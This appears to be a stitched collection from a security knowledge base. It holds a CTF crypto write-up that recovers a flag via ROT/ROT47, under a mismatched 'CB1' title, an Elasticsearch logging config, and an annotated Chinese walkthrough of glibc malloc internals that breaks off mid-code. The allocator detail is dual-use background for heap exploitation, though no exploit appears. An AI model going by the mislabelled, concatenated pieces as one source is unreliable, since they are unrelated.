# CB1
Crypto, 50 points
## Description
> ~C8 =39 A?2V8 73J:C 8FG7 AF?JJC2ECP
>
> DF?LHb=r_>b0%_0520<c8bPN
## Solution
We'll use the same script from [CB1](CB1.md) to try and guess the solution using ROT and frequency analysis.
If we use the script and attempt to guess the solution for the complete text, we get:
```
root@kali:/media/sf_CTFs/sunshine/WelcomeCrypto# python3 ../CB1/rot.py -i ciphertext.txt -g
1TI NDJ RPCgI HD[KT IWXH RWP[[TCVTa
UWP]YsN%pOsA6pAFCAMtIsa_
```
Not close.
But - if we take the first line and try to guess the solution, we get:
```console
root@kali:/media/sf_CTFs/sunshine/WelcomeCrypto# python3 ../CB1/rot.py -s "$(head ciphertext.txt -n 1)" -g
Org lbh pna'g fbyir guvf punyyratr!
```
This looks like a good direction. What if we perform another guessing cycle?
```console
root@kali:/media/sf_CTFs/sunshine/WelcomeCrypto# python3 ../CB1/rot.py -s "$(head ciphertext.txt -n 1)" -g | python3 ../CB1/rot.py -i -g
Bet you can't solve this challenge!
```
This doesn't work on the second line though. There, the answer is just ROT47:
```console
root@kali:/media/sf_CTFs/sunshine/WelcomeCrypto# python3 ../CB1/rot.py -s "$(tail ciphertext.txt -n 1)" --rot47_n 47
sun{w3lC0m3_T0_da_k4g3!}
```
|
sec-knowleage
|
# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazonaws: WARN
appender:
console:
type: console
layout:
type: consolePattern
conversionPattern: "[%d{ISO8601}][%-5p][%-25c] %m%n"
|
sec-knowleage
|
### 申请内存块关于__libc_malloc介绍
一般我们会使用 malloc 函数来申请内存块,可是当仔细看 glibc 的源码实现时,其实并没有 malloc 函数。其实该函数真正调用的是 \_\_libc_malloc 函数。为什么不直接写个 malloc 函数呢,因为有时候我们可能需要不同的名称。此外,__libc_malloc 函数只是用来简单封装 _int_malloc 函数。\_int_malloc 才是申请内存块的核心。下面我们来仔细分析一下具体的实现。
该函数会首先检查是否有内存分配函数的钩子函数(__malloc_hook),这个主要用于用户自定义的堆分配函数,方便用户快速修改堆分配函数并进行测试。这里需要注意的是,**用户申请的字节一旦进入申请内存函数中就变成了无符号整数**。
```c++
// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
mstate ar_ptr;
void * victim;
// 检查是否有内存分配钩子,如果有,调用钩子并返回.
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
```
接着会寻找一个 arena 来试图分配内存。
```c++
arena_get(ar_ptr, bytes);
```
然后调用 _int_malloc 函数去申请对应的内存。
```c++
victim = _int_malloc(ar_ptr, bytes);
```
如果分配失败的话,ptmalloc 会尝试再去寻找一个可用的 arena,并分配内存。
```c++
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL) {
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
```
如果申请到了 arena,那么在退出之前还得解锁。
```c++
if (ar_ptr != NULL) __libc_lock_unlock(ar_ptr->mutex);
```
判断目前的状态是否满足以下条件
- 要么没有申请到内存
- 要么是 mmap 的内存
- **要么申请到的内存必须在其所分配的arena中**
```c++
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
```
最后返回内存。
```c++
return victim;
}
```
### 申请内存块关于_int_malloc介绍
_int_malloc 是内存分配的核心函数,其核心思路有如下
1. 它根据用户申请的**内存块大小**以及**相应大小 chunk 通常使用的频度**(fastbin chunk, small chunk, large chunk),依次实现了不同的分配方法。
2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。
3. 当所有的空闲 chunk 都无法满足时,它会考虑 top chunk。
4. 当 top chunk 也无法满足时,堆分配器才会进行内存块申请。
在进入该函数后,函数立马定义了一系列自己需要的变量,并将用户申请的内存大小转换为内部的chunk大小。
```c++
static void *_int_malloc(mstate av, size_t bytes) {
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */
mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */
mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */
const char *errstr = NULL;
/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/
checked_request2size(bytes, nb);
```
### 申请内存块关于arena介绍
```c++
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely(av == NULL)) {
void *p = sysmalloc(nb, av);
if (p != NULL) alloc_perturb(p, bytes);
return p;
}
```
### 申请内存块关于fast bin介绍
如果申请的 chunk 的大小位于 fastbin 范围内,**需要注意的是这里比较的是无符号整数**。**此外,是从 fastbin 的头结点开始取 chunk**。
```c++
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast())) {
// 得到对应的fastbin的下标
idx = fastbin_index(nb);
// 得到对应的fastbin的头指针
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp = *fb;
// 利用fd遍历对应的bin内是否有空闲的chunk块,
do {
victim = pp;
if (victim == NULL) break;
} while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd,
victim)) != victim);
// 存在可以利用的chunk
if (victim != 0) {
// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。
// 根据取得的 victim ,利用 chunksize 计算其大小。
// 利用fastbin_index 计算 chunk 的索引。
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
// 细致的检查。。只有在 DEBUG 的时候有用
check_remalloced_chunk(av, victim, nb);
// 将获取的到chunk转换为mem模式
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
```
### 申请内存块关于small bin介绍
如果获取的内存块的范围处于 small bin 的范围,那么执行如下流程
```c++
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查,非调试状态没有作用
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}
```
### 申请内存块关于large bin介绍
当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,就会考虑是不是 large bin。但是,其实在 large bin 中并没有直接去扫描对应 bin 中的chunk,而是先利用 malloc_consolidate(参见malloc_state相关函数) 函数处理 fast bin 中的chunk,将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中,不能够合并的就直接放到 unsorted bin 中,然后再在下面的大循环中进行相应的处理。**为什么不直接从相应的 bin 中取出 large chunk 呢?这是ptmalloc 的机制,它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。**
```c++
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else {
// 获取large bin的下标。
idx = largebin_index(nb);
// 如果存在fastbin的话,会处理 fastbin
if (have_fastchunks(av)) malloc_consolidate(av);
}
```
### 申请内存块关于大循环-遍历 unsorted bin
**如果程序执行到了这里,那么说明 与 chunk 大小正好一致的 bin (fast bin, small bin) 中没有 chunk可以直接满足需求 ,但是 large chunk 则是在这个大循环中处理**。
在接下来的这个循环中,主要做了以下的操作
- 按照 FIFO 的方式逐个将 unsorted bin 中的 chunk 取出来
- 如果是 small request,则考虑是不是恰好满足,是的话,直接返回。
- 如果不是的话,放到对应的 bin 中。
- 尝试从 large bin 中分配用户所需的内存
该部分是一个大循环,这是为了尝试重新分配 small bin chunk,这是因为我们虽然会首先使用 large bin,top chunk 来尝试满足用户的请求,但是如果没有满足的话,由于我们在上面没有分配成功 small bin,我们并没有对fast bin 中的 chunk 进行合并,所以这里会进行 fast bin chunk 的合并,进而使用一个大循环来尝试再次分配small bin chunk。
```c++
/*
Process recently freed or remaindered chunks, taking one only if
it is exact fit, or, if this a small request, the chunk is remainder from
the most recent non-exact fit. Place other traversed chunks in
bins. Note that this step is the only place in any routine where
chunks are placed in bins.
The outer loop here is needed because we might not realize until
near the end of malloc that we should have consolidated, so must
do so and retry. This happens at most once, and only when we would
otherwise need to expand memory to service a "small" request.
*/
for (;;) {
int iters = 0;
```
#### unsorted bin 遍历
先考虑 unsorted bin,再考虑 last remainder ,但是对于 small bin chunk 的请求会有所例外。
**注意 unsorted bin 的遍历顺序为 bk。**
```c++
// 如果 unsorted bin 不为空
// First In First Out
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
// victim 为 unsorted bin 的最后一个 chunk
// bck 为 unsorted bin 的倒数第二个 chunk
bck = victim->bk;
// 判断得到的 chunk 是否满足要求,不能过小,也不能过大
// 一般 system_mem 的大小为132K
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
// 得到victim对应的chunk大小。
size = chunksize(victim);
```
##### small request
如果用户的请求为 small bin chunk,那么我们首先考虑 last remainder,如果 last remainder 是 unsorted bin 中的唯一一块的话, 并且 last remainder 的大小分割后还可以作为一个 chunk ,**为什么没有等号**?
```c
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
/* split and reattach remainder */
// 获取新的 remainder 的大小
remainder_size = size - nb;
// 获取新的 remainder 的位置
remainder = chunk_at_offset(victim, nb);
// 更新 unsorted bin 的情况
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
// 更新 av 中记录的 last_remainder
av->last_remainder = remainder;
// 更新last remainder的指针
remainder->bk = remainder->fd = unsorted_chunks(av);
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置victim的头部,
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置 remainder 的头部
set_head(remainder, remainder_size | PREV_INUSE);
// 设置记录 remainder 大小的 prev_size 字段,因为此时 remainder 处于空闲状态。
set_foot(remainder, remainder_size);
// 细致的检查,非调试状态下没有作用
check_malloced_chunk(av, victim, nb);
// 将 victim 从 chunk 模式转化为mem模式
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
```
##### 初始取出
```c
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
```
##### exact fit
如果从 unsorted bin 中取出来的 chunk 大小正好合适,就直接使用。这里应该已经把合并后恰好合适的 chunk 给分配出去了。
```c
/* Take now instead of binning if exact fit */
if (size == nb) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
```
##### place chunk in small bin
把取出来的 chunk 放到对应的 small bin 中。
```c
/* place chunk in bin */
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
```
##### place chunk in large bin
把取出来的 chunk 放到对应的 large bin 中。
```c
} else {
// large bin 范围
victim_index = largebin_index(size);
bck = bin_at(av, victim_index); // 当前 large bin 的头部
fwd = bck->fd;
/* maintain large bins in sorted order */
/* 从这里我们可以总结出,largebin 以 fd_nextsize 递减排序。
同样大小的 chunk,后来的只会插入到之前同样大小的 chunk 后,
而不会修改之前相同大小的fd/bk_nextsize,这也很容易理解,
可以减低开销。此外,bin 头不参与 nextsize 链接。*/
// 如果 large bin 链表不空
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
// 加速比较,应该不仅仅有这个考虑,因为链表里的 chunk 都会设置该位。
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
// bck->bk 存储着相应 large bin 中最小的chunk。
// 如果遍历的 chunk 比当前最小的还要小,那就只需要插入到链表尾部。
// 判断 bck->bk 是不是在 main arena。
assert(chunk_main_arena(bck->bk));
if ((unsigned long) (size) <
(unsigned long) chunksize_nomask(bck->bk)) {
// 令 fwd 指向 large bin 头
fwd = bck;
// 令 bck 指向 largin bin 尾部 chunk
bck = bck->bk;
// victim 的 fd_nextsize 指向 largin bin 的第一个 chunk
victim->fd_nextsize = fwd->fd;
// victim 的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize
victim->bk_nextsize = fwd->fd->bk_nextsize;
// 原来链表的第一个 chunk 的 bk_nextsize 指向 victim
// 原来指向链表第一个 chunk 的 fd_nextsize 指向 victim
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;
} else {
// 当前要插入的 victim 的大小大于最小的 chunk
// 判断 fwd 是否在 main arena
assert(chunk_main_arena(fwd));
// 从链表头部开始找到不比 victim 大的 chunk
while ((unsigned long) size < chunksize_nomask(fwd)) {
fwd = fwd->fd_nextsize;
assert(chunk_main_arena(fwd));
}
// 如果找到了一个和 victim 一样大的 chunk,
// 那就直接将 chunk 插入到该chunk的后面,并不修改 nextsize 指针。
if ((unsigned long) size ==
(unsigned long) chunksize_nomask(fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else {
// 如果找到的chunk和当前victim大小不一样
// 那么就需要构造 nextsize 双向链表了
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else
// 如果空的话,直接简单使得 fd_nextsize 与 bk_nextsize 构成一个双向链表即可。
victim->fd_nextsize = victim->bk_nextsize = victim;
}
```
##### 最终取出
```c
// 放到对应的 bin 中,构成 bck<-->victim<-->fwd。
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```
##### while 迭代次数
while 最多迭代10000次后退出。
```c
// #define MAX_ITERS 10000
if (++iters >= MAX_ITERS) break;
}
```
#### large chunk
**注: 或许会很奇怪,为什么这里没有先去看 small chunk 是否满足新需求了呢?这是因为small bin 在循环之前已经判断过了,这里如果有的话,就是合并后的才出现chunk。但是在大循环外,large chunk 只是单纯地找到其索引,所以觉得在这里直接先判断是合理的,而且也为了下面可以再去找较大的chunk。**
如果请求的 chunk 在 large chunk 范围内,就在对应的 bin 中从小到大进行扫描,找到第一个合适的。
```c++
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range(nb)) {
bin = bin_at(av, idx);
/* skip scan if empty or largest chunk is too small */
// 如果对应的 bin 为空或者其中的chunk最大的也很小,那就跳过
// first(bin)=bin->fd 表示当前链表中最大的chunk
if ((victim = first(bin)) != bin &&
(unsigned long) chunksize_nomask(victim) >=
(unsigned long) (nb)) {
// 反向遍历链表,直到找到第一个不小于所需chunk大小的chunk
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize(victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
// 如果最终取到的chunk不是该bin中的最后一个chunk,并且该chunk与其前面的chunk
// 的大小相同,那么我们就取其前面的chunk,这样可以避免调整bk_nextsize,fd_nextsize
// 链表。因为大小相同的chunk只有一个会被串在nextsize链上。
if (victim != last(bin) &&
chunksize_nomask(victim) == chunksize_nomask(victim->fd))
victim = victim->fd;
// 计算分配后剩余的大小
remainder_size = size - nb;
// 进行unlink
unlink(av, victim, bck, fwd);
/* Exhaust */
// 剩下的大小不足以当做一个块
// 很好奇接下来会怎么办?
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) set_non_main_arena(victim);
}
/* Split */
// 剩下的大小还可以作为一个chunk,进行分割。
else {
// 获取剩下那部分chunk的指针,称为remainder
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
// 插入unsorted bin中
bck = unsorted_chunks(av);
fwd = bck->fd;
// 判断 unsorted bin 是否被破坏。
if (__glibc_unlikely(fwd->bk != bck)) {
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
// 如果不处于small bin范围内,就设置对应的字段
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置分配的chunk的标记
set_head(victim,
nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置remainder的上一个chunk,即分配出去的chunk的使用状态
// 其余的不用管,直接从上面继承下来了
set_head(remainder, remainder_size | PREV_INUSE);
// 设置remainder的大小
set_foot(remainder, remainder_size);
}
// 检查
check_malloced_chunk(av, victim, nb);
// 转换为mem状态
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
```
#### 寻找较大 chunk
如果走到了这里,那说明对于用户所需的chunk,不能直接从其对应的合适的bin中获取chunk,所以我们需要来查找比当前 bin 更大的 fast bin , small bin 或者 large bin。
```c++
/*
Search for a chunk by scanning bins, starting with next largest
bin. This search is strictly by best-fit; i.e., the smallest
(with ties going to approximately the least recently used) chunk
that fits is selected.
The bitmap avoids needing to check that most blocks are nonempty.
The particular case of skipping all bins during warm-up phases
when no chunks have been returned yet is faster than it might look.
*/
++idx;
// 获取对应的bin
bin = bin_at(av, idx);
// 获取当前索引在binmap中的block索引
// #define idx2block(i) ((i) >> BINMAPSHIFT) ,BINMAPSHIFT=5
// Binmap按block管理,每个block为一个int,共32个bit,可以表示32个bin中是否有空闲chunk存在
// 所以这里是右移5
block = idx2block(idx);
// 获取当前块大小对应的映射,这里可以得知相应的bin中是否有空闲块
map = av->binmap[ block ];
// #define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))
// 将idx对应的比特位设置为1,其它位为0
bit = idx2bit(idx);
for (;;) {
```
##### 找到一个合适的 map
```c++
/* Skip rest of block if there are no more set bits in this block.
*/
// 如果bit>map,则表示该 map 中没有比当前所需要chunk大的空闲块
// 如果bit为0,那么说明,上面idx2bit带入的参数为0。
if (bit > map || bit == 0) {
do {
// 寻找下一个block,直到其对应的map不为0。
// 如果已经不存在的话,那就只能使用top chunk了
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
} while ((map = av->binmap[ block ]) == 0);
// 获取其对应的bin,因为该map中的chunk大小都比所需的chunk大,而且
// map本身不为0,所以必然存在满足需求的chunk。
bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;
}
```
##### 找到合适的 bin
```c
/* Advance to bin with set bit. There must be one. */
// 从当前map的最小的bin一直找,直到找到合适的bin。
// 这里是一定存在的
while ((bit & map) == 0) {
bin = next_bin(bin);
bit <<= 1;
assert(bit != 0);
}
```
##### 简单检查 chunk
```c
/* Inspect the bin. It is likely to be non-empty */
// 获取对应的bin
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
// 如果victim=bin,那么我们就将map对应的位清0,然后获取下一个bin
// 这种情况发生的概率应该很小。
if (victim == bin) {
av->binmap[ block ] = map &= ~bit; /* Write through */
bin = next_bin(bin);
bit <<= 1;
}
```
##### 真正取出 chunk
```c
else {
// 获取对应victim的大小
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long) (size) >= (unsigned long) (nb));
// 计算分割后剩余的大小
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
// 如果分割后不够一个chunk怎么办?
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) set_non_main_arena(victim);
}
/* Split */
// 如果够,尽管分割
else {
// 计算剩余的chunk的偏移
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
// 将剩余的chunk插入到unsorted bin中
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck)) {
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
// 如果在small bin范围内,就将其标记为remainder
if (in_smallbin_range(nb)) av->last_remainder = remainder;
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置victim的使用状态
set_head(victim,
nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
// 设置remainder的使用状态,这里是为什么呢?
set_head(remainder, remainder_size | PREV_INUSE);
// 设置remainder的大小
set_foot(remainder, remainder_size);
}
// 检查
check_malloced_chunk(av, victim, nb);
// chunk状态转换到mem状态
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
```
### 申请内存块关于使用 top chunk
如果所有的 bin 中的 chunk 都没有办法直接满足要求(即不合并),或者说都没有空闲的 chunk。那么我们就只能使用 top chunk 了。
```c++
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果分割之后,top chunk 大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
// 这里设置 PREV_INUSE 是因为 top chunk 前面的 chunk 如果不是 fastbin,就必然会和
// top chunk 合并,所以这里设置了 PREV_INUSE。
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
// 否则,判断是否有 fast chunk
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks(av)) {
// 先执行一次fast bin的合并
malloc_consolidate(av);
/* restore original bin index */
// 判断需要的chunk是在small bin范围内还是large bin范围内
// 并计算对应的索引
// 等待下次再看看是否可以
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
```
### 申请内存块关于堆内存不够方法
如果堆内存不够,我们就需要使用 `sysmalloc` 来申请内存了。
```c
/*
Otherwise, relay to handle system-dependent cases
*/
// 否则的话,我们就只能从系统中再次申请一点内存了。
else {
void *p = sysmalloc(nb, av);
if (p != NULL) alloc_perturb(p, bytes);
return p;
}
```
### 申请内存块关于关于_libc_calloc介绍
calloc 也是 libc 中的一种申请内存块的函数。在 `libc`中的封装为 `_libc_calloc`,具体介绍如下
```c
/*
calloc(size_t n_elements, size_t element_size);
Returns a pointer to n_elements * element_size bytes, with all locations
set to zero.
*/
void* __libc_calloc(size_t, size_t);
```
### 申请内存块关于sysmalloc介绍
正如该函数头的注释所言,该函数用于当前堆内存不足时,需要向系统申请更多的内存。
```c
/*
sysmalloc handles malloc cases requiring more memory from the system.
On entry, it is assumed that av->top does not have enough
space to service request for nb bytes, thus requiring that av->top
be extended or replaced.
*/
```
### sysmalloc基本定义
```c
static void *sysmalloc(INTERNAL_SIZE_T nb, mstate av) {
mchunkptr old_top; /* incoming value of av->top */
INTERNAL_SIZE_T old_size; /* its size */
char *old_end; /* its end address */
long size; /* arg to first MORECORE or mmap call */
char *brk; /* return value from MORECORE */
long correction; /* arg to 2nd MORECORE call */
char *snd_brk; /* 2nd return val */
INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */
char *aligned_brk; /* aligned offset into brk */
mchunkptr p; /* the allocated/returned chunk */
mchunkptr remainder; /* remainder frOm allocation */
unsigned long remainder_size; /* its size */
size_t pagesize = GLRO(dl_pagesize);
bool tried_mmap = false;
```
我们可以主要关注一下 `pagesize`,其
```c
#ifndef EXEC_PAGESIZE
#define EXEC_PAGESIZE 4096
#endif
# define GLRO(name) _##name
size_t _dl_pagesize = EXEC_PAGESIZE;
```
所以,`pagesize=4096=0x1000`。
### 申请内存块考虑 mmap情况
1. 没有分配堆。
2. 申请的内存大于 `mp_.mmap_threshold`,并且mmap 的数量小于最大值,就可以尝试使用 mmap。
默认情况下,临界值为
```c
static struct malloc_par mp_ = {
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof(long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES(1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize(TCACHE_MAX_BINS - 1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};
```
`DEFAULT_MMAP_THRESHOLD` 为 128*1024 字节,即 128 K。
```c
#ifndef DEFAULT_MMAP_THRESHOLD
#define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN
#endif
/*
MMAP_THRESHOLD_MAX and _MIN are the bounds on the dynamically
adjusted MMAP_THRESHOLD.
*/
#ifndef DEFAULT_MMAP_THRESHOLD_MIN
#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)
#endif
#ifndef DEFAULT_MMAP_THRESHOLD_MAX
/* For 32-bit platforms we cannot increase the maximum mmap
threshold much because it is also the minimum value for the
maximum heap size and its alignment. Going above 512k (i.e., 1M
for new heaps) wastes too much address space. */
#if __WORDSIZE == 32
#define DEFAULT_MMAP_THRESHOLD_MAX (512 * 1024)
#else
#define DEFAULT_MMAP_THRESHOLD_MAX (4 * 1024 * 1024 * sizeof(long))
#endif
#endif
```
下面为这部分代码,目前不是我们关心的重点,可以暂时跳过。
```c
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if (av == NULL ||
((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))) {
char *mm; /* return value from mmap call*/
try_mmap:
/*
Round up size to nearest page. For mmapped chunks, the overhead
is one SIZE_SZ unit larger than for normal chunks, because there
is no following chunk whose prev_size field could be used.
See the front_misalign handling below, for glibc there is no
need for further alignments unless we have have high alignment.
*/
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
size = ALIGN_UP(nb + SIZE_SZ, pagesize);
else
size = ALIGN_UP(nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
tried_mmap = true;
/* Don't try if size wraps around 0 */
